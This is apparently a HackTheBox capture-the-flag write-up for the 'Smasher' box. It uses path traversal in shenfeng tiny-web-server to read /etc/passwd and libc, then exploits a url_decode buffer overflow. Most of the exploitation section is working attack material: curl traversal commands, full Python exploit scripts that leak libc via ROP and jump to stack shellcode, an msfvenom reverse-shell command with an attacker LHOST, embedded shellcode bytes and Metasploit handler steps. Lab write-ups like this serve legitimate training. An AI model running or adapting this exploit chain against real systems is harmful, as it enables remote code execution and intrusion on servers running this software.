HackTheBox - Smasher (50pts)
Table of Contents
A friend suggested this box as inspiration for a CTF challenge we were building for BalCCon. What hooked me was the idea of using a web vulnerability as an entry point into a binary exploitation challenge — it gives it a touch of real-world feel, and a more natural path to leaking libc compared to the usual "here's the libc, download it" approach.
VM Enumeration
A quick nmap scan reveals two open ports:
nmap -sC -sV 10.10.10.89
PORT STATE SERVICE
22/tcp open ssh OpenSSH 7.2p2 Ubuntu
1111/tcp open http shenfeng tiny-web-server
The web server (shenfeng tiny-web-server) is unfamiliar. Checking what it serves:
curl -v http://10.10.10.89:1111/
Returns a file listing with a single index.html. That page contains a fake login form whose action points to index.php — a file that doesn't exist on the server. Dead end. Time to enumerate more aggressively.
A few minutes with gobuster reveals something interesting when hitting paths like //..////../etc/:
curl http://10.10.10.89:1111//etc/passwd
# root:x:0:0:root:/root:/bin/bash
# ...
# www:x:1000:1000:www,,,:/home/www:/bin/bash
# smasher:x:1001:1001:,,,:/home/smasher:/bin/bash
Path Traversal Vulnerability
The server is vulnerable to path traversal. With this, we can read arbitrary files — including the web server's own source code and binary:
curl http://10.10.10.89:1111//home/www/tiny-web-server/ | sed -e 's/<[^>]*>//g'
# tiny.c 13.2K
# tiny 44.4K
# README.md
# Makefile
Having the source will speed things up considerably.
Checking the OS version and grabbing libc for later:
curl http://10.10.10.89:1111//etc/issue
# Ubuntu 16.04.4 LTS
wget http://10.10.10.89:1111//lib/x86_64-linux-gnu/libc.so.6
Libc Inspection
file tiny
# ELF 64-bit LSB executable, x86-64, not stripped
ldd tiny
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f846ddf0000)
Not stripped — great. Checking the build flags from strings:
GNU C99 5.4.0 20160609 -mtune=generic -march=x86-64 -g -O2 -std=c99 -fno-stack-protector
-fno-stack-protector means no stack canary. Confirming with pwndbg:
pwndbg> checksec
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
ASLR is enabled (confirmed later), but NX is off — meaning we can execute shellcode directly from the stack.
Buffer Overflow
Looking at tiny.c, the path traversal lives in parse_request():
char* filename = uri;
if(uri[0] == '/'){
filename = uri + 1;
// no sanitization of ../
}
url_decode(filename, req->filename, MAXLINE);
The url_decode() function copies src into dest up to max bytes:
void url_decode(char* src, char* dest, int max) {
char *p = src;
char code[3] = { 0 };
while(*p && --max) {
if(*p == '%') {
memcpy(code, ++p, 2);
*dest++ = (char)strtoul(code, NULL, 16);
p += 2;
} else {
*dest++ = *p++;
}
}
*dest = '\0';
}
The problem: src is a 1024-byte buffer (MAXLINE), but dest is req->filename which is only 512 bytes:
typedef struct {
char filename[512]; // destination
off_t offset;
size_t end;
} http_request;
url_decode copies up to MAXLINE (1024) bytes into a 512-byte buffer. Classic buffer overflow.
Exploitation
The overflow happens when url_decode() processes the filename from a GET request:
GET /AAAA...AAAA HTTP/1.1
The leading / is stripped before processing, so our payload starts right after it.
From the stack layout, the offset to RIP is:
0x298 - (0x90 - 0x30) = 0x238 = 568 bytes
Proof of Concept
import struct
import socket
padding = "A" * 568
RIP = 0x424242424242
payload = padding + struct.pack("<Q", RIP)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 9999))
s.send("GET /{} \n\n".format(payload))
s.close()
In GDB, set a breakpoint right after url_decode returns:
pwndbg> b *0x000000000040178b
pwndbg> r
Hitting the breakpoint confirms 0x424242424242 on the stack, and continuing causes a segfault at that address:
Exploitation Plan
Since ASLR is on but NX is off, the plan is:
- Use ROP gadgets to call
write@pltand leak the address ofreadfrom the GOT - Subtract the known
readoffset from libc to calculate the libc base address - Use a
push rsp; retgadget from libc to redirect execution to shellcode on the stack - Send a second payload with the shellcode and the resolved gadget address
Finding ROP Gadgets
ropper --file tiny --search "% ?di; ret"
# 0x00000000004011dd: pop rdi; ret;
ropper --file tiny --search "pop ?si"
# 0x00000000004011db: pop rsi; pop r15; ret;
ropper --file libc.so.6 --search "push rsp"
# 0x0000000000023ad1: push rsp; ret;
Finding Addresses
objdump -R tiny | grep read
# 0000000000603088 R_X86_64_JUMP_SLOT read@GLIBC_2.2.5
readelf -s libc.so.6 | grep read@
# 891: 00000000000f7250 read@@GLIBC_2.2.5
write@plt address from the disassembly:
0x00000000004010e9 <+41>: call 0x400c50 <write@plt>
Stage 1: Leak libc Base
import struct
import socket
import urllib
def execute_payload(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.89", 1111))
s.send("GET /{} HTTP/1.1\r\n\r\n".format(urllib.quote_plus(payload)))
response = s.recv(4096)
s.close()
return response
padding = "A" * 568
read_got = 0x603088
write_plt = 0x400c50
read_off = 0x0f7250
poprdiret = 0x4011dd # pop rdi; ret
poprsiret = 0x4011db # pop rsi; pop r15; ret
push_rsp = 0x023ad1 # push rsp; ret (libc offset)
buf = padding
buf += struct.pack("<Q", poprdiret)
buf += struct.pack("<Q", 0x4) # fd = stdout
buf += struct.pack("<Q", poprsiret)
buf += struct.pack("<Q", read_got) # address to leak
buf += struct.pack("<Q", 0xF) # junk for r15
buf += struct.pack("<Q", write_plt)
response = execute_payload(buf).split("File not found")[1]
read_addr = struct.unpack("<Q", response[:8])[0]
libc_addr = read_addr - read_off
print "read() is at", hex(read_addr)
print "libc base is at", hex(libc_addr)
Output:
read() is at 0x7fa328ae2250
libc base is at 0x7fa3289eb000
Stage 2: Execute Shellcode from Stack
Generate a reverse shell payload with msfvenom:
msfvenom -p linux/x64/shell/reverse_tcp LHOST=10.10.13.238 LPORT=4444 \
--bad-chars "\x00" -f python
Full exploit combining both stages:
import struct
import socket
import urllib
def execute_payload(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.89", 1111))
s.send("GET /{} HTTP/1.1\r\n\r\n".format(urllib.quote_plus(payload)))
response = s.recv(4096)
s.close()
return response
def exploit(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.89", 1111))
s.send("GET /{} HTTP/1.1\r\n\r\n".format(urllib.quote_plus(payload)))
padding = "A" * 568
read_got = 0x603088
write_plt = 0x400c50
read_off = 0x0f7250
poprdiret = 0x4011dd
poprsiret = 0x4011db
push_rsp = 0x023ad1
# Stage 1: leak libc
buf = padding
buf += struct.pack("<Q", poprdiret)
buf += struct.pack("<Q", 0x4)
buf += struct.pack("<Q", poprsiret)
buf += struct.pack("<Q", read_got)
buf += struct.pack("<Q", 0xF)
buf += struct.pack("<Q", write_plt)
response = execute_payload(buf).split("File not found")[1]
read_addr = struct.unpack("<Q", response[:8])[0]
libc_addr = read_addr - read_off
print "libc base is at", hex(libc_addr)
# Stage 2: shellcode execution via push rsp
gadget = libc_addr + push_rsp
# Shellcode from msvenom
shellcode = "\x48\x31\xc9\x48\x81\xe9\xef\xff\xff\xff\x48\x8d\x05"
shellcode += "\xef\xff\xff\xff\x48\xbb\xc7\xa4\xa1\x8a\x02\xe7\x6d"
shellcode += "\x1b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
shellcode += "\x8f\x95\x5e\xe0\x0b\xbf\xf4\xad\xd7\xec\x28\x5c\x4f"
shellcode += "\xd6\xa4\x71\xe5\xe5\xfb\x38\x05\xe8\x68\x53\x42\x64"
shellcode += "\xd9\xd8\x68\xed\x2c\x42\x91\xf4\xcb\xa3\x5a\x7e\x07"
shellcode += "\x19\x98\xce\xa0\xd4\x0d\xe2\x25\x9e\x07\xdc\x9a\xc2"
shellcode += "\x95\xaf\xd4\x19\xc7\xb5\xfd\x80\x08\xea\x83\x4a\x8f"
shellcode += "\x2d\x47\xe0\x12\xbd\x07\x31\x9f\xab\xa4\xd3\x4a\x62"
shellcode += "\xad\x62\xe2\xed\x5e\x43\x76\xff\x3a\x71\xe4\xfc\xcb"
shellcode += "\x8a\x68\xe2\x25\x92\x20\xec\x90\x7c\x0d\xe2\x34\x42"
shellcode += "\x98\xec\x24\x4a\x7b\x20\x07\x27\x9f\xce\xa0\xd5\x0d"
shellcode += "\xe2\x33\x41\xc8\xa1\xe9\x0f\xc2\x9f\x82\xe4\x21\xa4"
shellcode += "\xa1\x8a\x02\xe7\x6d\x1b"
buf = padding
buf += struct.pack("<Q", gadget)
buf += shellcode
buf += 'Z' * (1024 - len(buf))
exploit(buf)
Start the Metasploit handler:
msf > use multi/handler
msf > set payload linux/x64/shell/reverse_tcp
msf > set LHOST 10.10.13.238
msf > run
Run the exploit:
python smasher_reverse_tcp.py
# read() is at 0x7fd2fce03250
# libc base is at 0x7fd2fcd0c000
[*] Command shell session 1 opened (10.10.13.238:4444 -> 10.10.10.89:36424)
Conclusion
Shell obtained. The next stage involves a crackme.py running behind socat on 127.0.0.1:1337 — that's a separate challenge worth its own writeup.
ps aux | grep crackme.py
# smasher 714 socat TCP-LISTEN:1337,... EXEC:/usr/bin/python /home/smasher/crackme.py